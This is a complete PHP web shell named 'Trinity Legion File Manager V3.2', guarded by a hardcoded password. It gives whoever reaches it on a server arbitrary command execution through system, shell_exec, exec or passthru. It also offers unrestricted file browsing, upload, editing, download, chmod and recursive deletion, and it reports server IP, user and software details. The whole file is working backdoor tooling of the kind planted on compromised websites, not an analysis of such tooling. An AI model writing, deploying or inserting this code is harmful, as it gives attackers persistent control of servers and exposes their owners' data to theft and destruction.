<?php
@ini_set('display_errors', 0);
@set_time_limit(0);
error_reporting(0);

// Simple authentication
$auth_password = 'Kurakuraninja007,.'; // Password yang baru

// Handle logout
if (isset($_GET['logout'])) {
    setcookie('auth', '', time() - 3600, '/');
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if (isset($_POST['password']) && $_POST['password'] === $auth_password) {
    setcookie('auth', md5($auth_password . $_SERVER['REMOTE_ADDR']), time() + 3600, '/');
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if (!isset($_COOKIE['auth']) || $_COOKIE['auth'] !== md5($auth_password . $_SERVER['REMOTE_ADDR'])) {
    echo '<!DOCTYPE html><html><head><title>Authentication Required</title><style>
        body { background: #0d0d0d; color: #ccc; font-family: monospace; display: flex; justify-content: center; align-items: center; height: 100vh; }
        form { background: #222; padding: 20px; border-radius: 5px; text-align: center; }
        input { padding: 10px; margin: 5px; background: #111; color: #0f0; border: 1px solid #444; }
        .logo { margin-bottom: 20px; }
        .error { color: #f55; margin-top: 10px; }
    </style></head><body>
    <form method="post">
        <div class="logo">
            <img src="https://i.imgur.com/vFZkV7D.png" alt="Logo" style="max-width: 150px;">
        </div>
        <h3>Authentication Required</h3>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">';
        
    if (isset($_POST['password']) && $_POST['password'] !== $auth_password) {
        echo '<div class="error">Invalid password!</div>';
    }
        
    echo '</form></body></html>';
    exit;
}

function safe($s) {
    return htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

function formatSize($bytes) {
    $units = ['B','KB','MB','GB','TB'];
    for ($i = 0; $bytes >= 1024 && $i < count($units)-1; $i++) {
        $bytes /= 1024;
    }
    return round($bytes, 2).' '.$units[$i];
}

function deleteRecursive($path) {
    if (is_file($path)) {
        return @unlink($path);
    } elseif (is_dir($path)) {
    $files = array_diff(scandir($path), array('.', '..'));
    foreach ($files as $file) {
        deleteRecursive($path . '/' . $file);
    }
    return @rmdir($path);
    }
    return false;
}

function getPermissions($path) {
    $perms = fileperms($path);
    $info = '';
    $info .= ($perms & 0x0100) ? 'r' : '-';
    $info .= ($perms & 0x0080) ? 'w' : '-';
    $info .= ($perms & 0x0040) ? 'x' : '-';
    $info .= ($perms & 0x0020) ? 'r' : '-';
    $info .= ($perms & 0x0010) ? 'w' : '-';
    $info .= ($perms & 0x0008) ? 'x' : '-';
    $info .= ($perms & 0x0004) ? 'r' : '-';
    $info .= ($perms & 0x0002) ? 'w' : '-';
    $info .= ($perms & 0x0001) ? 'x' : '-';
    return $info;
}

// Improved command execution function with better error handling
function executeCommand($command) {
    $output = '';
    
    // Check if any command execution function is available
    $hasSystem = function_exists('system');
    $hasShellExec = function_exists('shell_exec');
    $hasExec = function_exists('exec');
    $hasPassthru = function_exists('passthru');
    
    // If no command execution functions are available
    if (!$hasSystem && !$hasShellExec && !$hasExec && !$hasPassthru) {
        return "Command execution functions are disabled on this server.\n\n";
    }
    
    // Try multiple methods to execute command
    if ($hasSystem) {
        ob_start();
        @system($command . " 2>&1", $return_code);
        $output = ob_get_contents();
        ob_end_clean();
    } elseif ($hasShellExec) {
        $output = @shell_exec($command . " 2>&1");
    } elseif ($hasExec) {
        @exec($command . " 2>&1", $output_array, $return_code);
        $output = implode("\n", $output_array);
    } elseif ($hasPassthru) {
        ob_start();
        @passthru($command . " 2>&1", $return_code);
        $output = ob_get_contents();
        ob_end_clean();
    }
    
    // If we got no output, provide some basic system info
    if (empty($output)) {
        $output = "Command executed but returned no output.\n";
        $output .= "Current User: " . @get_current_user() . "\n";
        $output .= "PHP Version: " . phpversion() . "\n";
        $output .= "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\n";
    }
    
    return $output;
}

$cwd = isset($_GET['path']) ? $_GET['path'] : getcwd();
$cwd = realpath($cwd);

// Handle upload
if (isset($_POST['upload']) && isset($_FILES['file'])) {
    $target = $cwd . '/' . basename($_FILES['file']['name']);
    if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "<div class='success-msg'>[+] File uploaded successfully.</div>";
    } else {
        echo "<div class='error-msg'>[-] Upload failed.</div>";
    }
}

// Handle file edit save
if (isset($_POST['save']) && isset($_POST['filename'])) {
    $path = $cwd.'/'.basename($_POST['filename']);
    if (@file_put_contents($path, $_POST['content']) !== false) {
        echo "<div class='success-msg'>[+] File saved successfully.</div>";
    } else {
        echo "<div class='error-msg'>[-] Failed to save file.</div>";
    }
}

// Handle create directory
if (isset($_POST['mkdir']) && isset($_POST['dirname'])) {
    $dirName = basename($_POST['dirname']);
    $fullPath = $cwd . '/' . $dirName;
    if (!file_exists($fullPath)) {
        if (@mkdir($fullPath)) {
            echo "<div class='success-msg'>[+] Directory created.</div>";
        } else {
            echo "<div class='error-msg'>[-] Failed to create directory.</div>";
        }
    } else {
        echo "<div class='warning-msg'>[!] Directory already exists.</div>";
    }
}

// Handle delete file/directory
if (isset($_POST['delete']) && isset($_POST['delete_path'])) {
    $deletePath = $_POST['delete_path'];
    if (file_exists($deletePath)) {
        if (deleteRecursive($deletePath)) {
            echo "<div class='success-msg'>[+] Deleted successfully.</div>";
        } else {
            echo "<div class='error-msg'>[-] Delete failed.</div>";
        }
    } else {
        echo "<div class='error-msg'>[-] File/directory does not exist.</div>";
    }
}

// Handle command execution - FIXED
if (isset($_POST['command']) && !empty($_POST['command'])) {
    $command = $_POST['command'];
    echo "<div class='command-output'>";
    echo "<strong>Command:</strong> " . safe($command) . "<br><hr>";
    echo "<strong>Output:</strong><br>";
    echo "<pre>";
    
    // Use the improved command execution function
    $output = executeCommand($command);
    echo safe($output);
    
    echo "</pre>";
    echo "</div>";
}

// Handle file download
if (isset($_GET['download'])) {
    $file = $cwd . '/' . basename($_GET['download']);
    if (file_exists($file) && is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// Handle file rename
if (isset($_POST['rename']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
    $oldPath = $cwd . '/' . basename($_POST['old_name']);
    $newPath = $cwd . '/' . basename($_POST['new_name']);
    if (file_exists($oldPath)) {
        if (@rename($oldPath, $newPath)) {
            echo "<div class='success-msg'>[+] Renamed successfully.</div>";
        } else {
            echo "<div class='error-msg'>[-] Rename failed.</div>";
        }
    } else {
        echo "<div class='error-msg'>[-] File/directory does not exist.</div>";
    }
}

// Handle file permissions change
if (isset($_POST['chmod']) && isset($_POST['chmod_path']) && isset($_POST['mode'])) {
    $chmodPath = $_POST['chmod_path'];
    $mode = octdec($_POST['mode']);
    if (file_exists($chmodPath)) {
        if (@chmod($chmodPath, $mode)) {
            echo "<div class='success-msg'>[+] Permissions changed successfully.</div>";
        } else {
            echo "<div class='error-msg'>[-] Failed to change permissions.</div>";
        }
    } else {
        echo "<div class='error-msg'>[-] File/directory does not exist.</div>";
    }
}

// Get sorting parameters
$sort_by = isset($_GET['sort']) ? $_GET['sort'] : 'name';
$sort_order = isset($_GET['order']) ? $_GET['order'] : 'asc';

echo "<!DOCTYPE html><html lang='en'><head><meta charset='UTF-8'><title>Trinity Legion File Manager V3.2</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }
body { background: #0d0d0d; color: #ccc; padding: 20px; }
a { color: #5af; text-decoration: none; }
a:hover { text-decoration: underline; }
input, textarea, select, button { background: #111; color: #0f0; border: 1px solid #444; padding: 8px; border-radius: 4px; }
button { cursor: pointer; transition: all 0.2s; }
button:hover { opacity: 0.8; }
hr { border: none; border-top: 1px solid #333; margin: 20px 0; }
h2, h3 { color: #5af; margin-bottom: 15px; }
.success-msg { color: #0f0; padding: 10px; background: #151515; margin: 10px 0; border-left: 3px solid #0f0; }
.error-msg { color: #f55; padding: 10px; background: #151515; margin: 10px 0; border-left: 3px solid #f55; }
.warning-msg { color: #f90; padding: 10px; background: #151515; margin: 10px 0; border-left: 3px solid #f90; }
.command-output { background: #111; padding: 15px; margin: 10px 0; border: 1px solid #444; border-radius: 5px; }
.command-output pre { color: #0f0; }
.container { max-width: 1200px; margin: 0 auto; }
.header { padding: 20px; background: #151515; border-radius: 8px; margin-bottom: 20px; text-align: center; position: relative; }
.logo { margin-bottom: 15px; }
.logout-btn { position: absolute; top: 20px; right: 20px; background: #e74c3c; color: white; border: none; padding: 8px 15px; border-radius: 4px; cursor: pointer; text-decoration: none; }
.logout-btn:hover { background: #c0392b; }
.server-info { display: grid; grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); gap: 10px; margin: 15px 0; }
.info-item { display: flex; justify-content: space-between; padding: 8px; background: #1a1a1a; border-radius: 4px; }
.info-label { font-weight: bold; color: #999; }
.breadcrumb { background: #1a1a1a; padding: 12px; border-radius: 5px; margin: 15px 0; font-family: monospace; }
.file-table { width: 100%; border-collapse: collapse; margin: 20px 0; background: #151515; border-radius: 8px; overflow: hidden; }
.file-table th, .file-table td { padding: 12px 15px; text-align: left; border-bottom: 1px solid #333; }
.file-table th { background-color: #2a2a2a; color: #5af; cursor: pointer; }
.file-table th:hover { background-color: #333; }
.file-table tr:hover { background-color: #1c1c1c; }
.file-icon { margin-right: 8px; }
.folder { color: #5af; font-weight: bold; }
.file { color: #ccc; }
.file-actions { display: flex; gap: 5px; }
.btn { padding: 6px 10px; border: none; border-radius: 4px; cursor: pointer; font-size: 0.85rem; }
.btn-rename { background: #f39c12; color: #000; }
.btn-chmod { background: #27ae60; color: #fff; }
.btn-delete { background: #e74c3c; color: #fff; }
.btn-download { background: #3498db; color: #fff; }
.permission-input { width: 70px; }
.name-input { width: 120px; }
.section { background: #151515; padding: 15px; margin: 10px 0; border-radius: 5px; border: 1px solid #333; }
.section h3 { margin-top: 0; cursor: pointer; }
.toggle-section { display: none; margin-top: 10px; }
.action-form { display: flex; gap: 5px; }
.command-help { background: #222; padding: 10px; border-radius: 5px; margin-top: 10px; }
.command-help h4 { margin-top: 0; color: #5af; }
.command-help ul { margin: 5px 0; padding-left: 20px; }
.sort-arrow { margin-left: 5px; }
@media (max-width: 768px) {
    .server-info { grid-template-columns: 1fr; }
    .file-table { display: block; overflow-x: auto; }
    .file-actions { flex-wrap: wrap; }
    .name-input, .permission-input { width: 100%; }
    .logout-btn { position: relative; top: 0; right: 0; margin-bottom: 15px; }
}
</style>
<script>
function confirmDelete(itemName) {
    return confirm('Are you sure you want to delete \"' + itemName + '\"? This action cannot be undone.');
}

function toggleSection(sectionId) {
    var section = document.getElementById(sectionId);
    if (section.style.display === 'none') {
        section.style.display = 'block';
    } else {
        section.style.display = 'none';
    }
    return false;
}

function confirmLogout() {
    return confirm('Are you sure you want to logout?');
}
</script>
</head><body>";

echo "<div class='container'>";
echo "<div class='header'>";
echo "<a href='?logout' class='logout-btn' onclick='return confirmLogout()'>Logout</a>";
echo "<div class='logo'><img src='https://i.imgur.com/vFZkV7D.png' alt='Logo' style='max-width: 100px;'></div>";
echo "<h2>Trinity Legion File Manager</h2>";

// Server information
echo "<div class='server-info'>";
echo "<div class='info-item'><span class='info-label'>PHP Version:</span><span>" . phpversion() . "</span></div>";
echo "<div class='info-item'><span class='info-label'>Server Software:</span><span>" . $_SERVER['SERVER_SOFTWARE'] . "</span></div>";
echo "<div class='info-item'><span class='info-label'>Server IP:</span><span>" . $_SERVER['SERVER_ADDR'] . "</span></div>";
echo "<div class='info-item'><span class='info-label'>Your IP:</span><span>" . $_SERVER['REMOTE_ADDR'] . "</span></div>";
echo "<div class='info-item'><span class='info-label'>Current User:</span><span>" . get_current_user() . "</span></div>";
echo "<div class='info-item'><span class='info-label'>Disk Free Space:</span><span>" . formatSize(disk_free_space($cwd)) . "</span></div>";
echo "<div class='info-item'><span class='info-label'>Disk Total Space:</span><span>" . formatSize(disk_total_space($cwd)) . "</span></div>";

// Check command execution functions
$hasSystem = function_exists('system');
$hasShellExec = function_exists('shell_exec');
$hasExec = function_exists('exec');
$hasPassthru = function_exists('passthru');
$commandStatus = $hasSystem || $hasShellExec || $hasExec || $hasPassthru;

echo "<div class='info-item'><span class='info-label'>Command Execution:</span><span>";
echo $commandStatus ? "Available" : "Disabled";
echo "</span></div>";

echo "</div>";

echo "<div class='breadcrumb'><b>Current Path:</b> ".safe($cwd)."</div>";

// Show navigation
$parts = explode(DIRECTORY_SEPARATOR, $cwd);
$nav = "";
$build = "";
foreach ($parts as $p) {
    if ($p == "") continue;
    $build .= "/$p";
    $nav .= "<a href='?path=".urlencode($build)."'>".safe($p)."</a> / ";
}
echo "<div class='breadcrumb'>".$nav."</div>";
echo "</div>"; // end header

// File listing
$files = @scandir($cwd);
if ($files === false) {
    echo "<div class='error-msg'>[-] Failed to read directory contents.</div>";
    $files = array();
}

// Separate directories and files
$directories = array();
$file_items = array();

foreach ($files as $f) {
    if ($f == "." || $f == "..") continue;
    $fp = $cwd.'/'.$f;
    if (is_dir($fp)) {
        $directories[] = $f;
    } else {
        $file_items[] = $f;
    }
}

// Sorting function
function sortItems($a, $b, $cwd, $sort_by, $sort_order) {
    $a_path = $cwd . '/' . $a;
    $b_path = $cwd . '/' . $b;
    
    $cmp = 0;
    
    switch ($sort_by) {
        case 'name':
            $cmp = strcasecmp($a, $b);
            break;
        case 'size':
            $a_size = is_dir($a_path) ? 0 : filesize($a_path);
            $b_size = is_dir($b_path) ? 0 : filesize($b_path);
            $cmp = $a_size - $b_size;
            break;
        case 'permissions':
            $a_perm = fileperms($a_path);
            $b_perm = fileperms($b_path);
            $cmp = $a_perm - $b_perm;
            break;
        case 'modified':
            $a_time = filemtime($a_path);
            $b_time = filemtime($b_path);
            $cmp = $a_time - $b_time;
            break;
    }
    
    return $sort_order === 'asc' ? $cmp : -$cmp;
}

// Sort directories and files separately
usort($directories, function($a, $b) use ($cwd, $sort_by, $sort_order) {
    return sortItems($a, $b, $cwd, $sort_by, $sort_order);
});

usort($file_items, function($a, $b) use ($cwd, $sort_by, $sort_order) {
    return sortItems($a, $b, $cwd, $sort_by, $sort_order);
});

// Combine directories and files
$sorted_files = array_merge($directories, $file_items);

// Function to generate sorting URL
function getSortUrl($field, $current_sort, $current_order) {
    $params = $_GET;
    $params['sort'] = $field;
    
    if ($current_sort === $field) {
        $params['order'] = $current_order === 'asc' ? 'desc' : 'asc';
    } else {
        $params['order'] = 'asc';
    }
    
    return '?' . http_build_query($params);
}

// Function to get sort indicator
function getSortIndicator($field, $current_sort, $current_order) {
    if ($current_sort === $field) {
        return $current_order === 'asc' ? '↑' : '↓';
    }
    return '';
}

echo "<table class='file-table'>";
echo "<thead><tr>";
echo "<th onclick=\"location.href='" . getSortUrl('name', $sort_by, $sort_order) . "'\">Name " . getSortIndicator('name', $sort_by, $sort_order) . "</th>";
echo "<th onclick=\"location.href='" . getSortUrl('permissions', $sort_by, $sort_order) . "'\">Permissions " . getSortIndicator('permissions', $sort_by, $sort_order) . "</th>";
echo "<th onclick=\"location.href='" . getSortUrl('size', $sort_by, $sort_order) . "'\">Size " . getSortIndicator('size', $sort_by, $sort_order) . "</th>";
echo "<th>Actions</th>";
echo "</tr></thead><tbody>";

foreach ($sorted_files as $f) {
    $fp = $cwd.'/'.$f;
    $isDir = is_dir($fp);
    
    echo "<tr>";
    
    // Name column
    echo "<td class='" . ($isDir ? "folder" : "file") . "'>";
    echo "<span class='file-icon'>" . ($isDir ? "📁" : "📄") . "</span>";
    if ($isDir) {
        echo "<a href='?path=".urlencode($fp)."'>".safe($f)."</a>";
    } else {
        echo "<a href='?path=".urlencode($cwd)."&edit=".urlencode($f)."'>".safe($f)."</a>";
    }
    echo "</td>";
    
    // Permissions column
    echo "<td>";
    echo "<form method='post' class='action-form'>";
    echo "<input type='hidden' name='chmod_path' value='".safe($fp)."'>";
    echo "<input type='text' name='mode' value='".substr(sprintf('%o', fileperms($fp)), -4)."' class='permission-input'>";
    echo "<button type='submit' name='chmod' class='btn btn-chmod'>Apply</button>";
    echo "</form>";
    echo "</td>";
    
    // Size column
    echo "<td>".formatSize($isDir ? 0 : filesize($fp))."</td>";
    
    // Actions column
    echo "<td>";
    echo "<div class='file-actions'>";
    
    // Rename form
    echo "<form method='post' class='action-form'>";
    echo "<input type='hidden' name='old_name' value='".safe($f)."'>";
    echo "<input type='text' name='new_name' placeholder='New name' class='name-input'>";
    echo "<button type='submit' name='rename' class='btn btn-rename'>Rename</button>";
    echo "</form>";
    
    // Delete button
    echo "<form method='post' class='action-form' onsubmit='return confirmDelete(\"".safe($f)."\")'>";
    echo "<input type='hidden' name='delete_path' value='".safe($fp)."'>";
    echo "<button type='submit' name='delete' class='btn btn-delete'>Delete</button>";
    echo "</form>";
    
    // Download button (for files only)
    if (!$isDir) {
        echo "<a href='?path=".urlencode($cwd)."&download=".urlencode($f)."' class='btn btn-download'>Download</a>";
    }
    
    echo "</div>";
    echo "</td>";
    
    echo "</tr>";
}
echo "</tbody></table>";

// Command execution
echo "<div class='section'>";
echo "<h3 onclick='toggleSection(\"command-exec\")'>Command Execution ▼</h3>";
echo "<div id='command-exec' class='toggle-section'>";
echo "<form method='post'>";
echo "<input type='text' name='command' placeholder='Enter command' style='width:70%;'>";
echo "<button type='submit' style='width:28%; background:#223; color:#aaf; border:1px solid #55f;'>Execute</button>";
echo "</form>";

if (!$commandStatus) {
    echo "<div class='command-help'>";
    echo "<h4>Eksekusi Perintah Dinonaktifkan</h4>";
    echo "<p>Fungsi eksekusi perintah dinonaktifkan di server ini karena alasan keamanan.</p>";
    echo "<p>Anda masih dapat menggunakan semua fitur manajemen file:</p>";
    echo "<ul>";
    echo "<li>Unggah dan unduh file</li>";
    echo "<li>Membuat, mengganti nama, dan menghapus file dan folder</li>";
    echo "<li>Edit isi berkas</li>";
    echo "<li>Ubah izin file</li>";
    echo "</ul>";
    echo "</div>";
}

echo "</div></div>";

// Edit file
if (isset($_GET['edit'])) {
    $file = basename($_GET['edit']);
    $full = $cwd.'/'.$file;
    if (file_exists($full)) {
        $content = @file_get_contents($full);
        echo "<div class='section'>";
        echo "<h3>Editing: ".safe($file)."</h3>";
        echo "<form method='post'>";
        echo "<input type='hidden' name='filename' value='".safe($file)."'>";
        echo "<textarea name='content' rows='15' style='width:100%;'>".safe($content)."</textarea><br>";
        echo "<button type='submit' name='save' style='background:#222; color:#0f0; border:1px solid #0f0;'>Save File</button>";
        echo "</form></div>";
    }
}

// Upload
echo "<div class='section'>";
echo "<h3 onclick='toggleSection(\"upload-section\")'>Upload File ▼</h3>";
echo "<div id='upload-section' class='toggle-section'>";
echo "<form method='post' enctype='multipart/form-data'>";
echo "<input type='file' name='file'><br>";
echo "<button type='submit' name='upload'>Upload</button>";
echo "</form></div></div>";

// Create folder
echo "<div class='section'>";
echo "<h3 onclick='toggleSection(\"mkdir-section\")'>Create Folder ▼</h3>";
echo "<div id='mkdir-section' class='toggle-section'>";
echo "<form method='post'>";
echo "<input type='text' name='dirname' placeholder='New folder name'>";
echo "<button type='submit' name='mkdir'>Create</button>";
echo "</form></div></div>";

echo "</div>"; // end container
echo "</body></html>";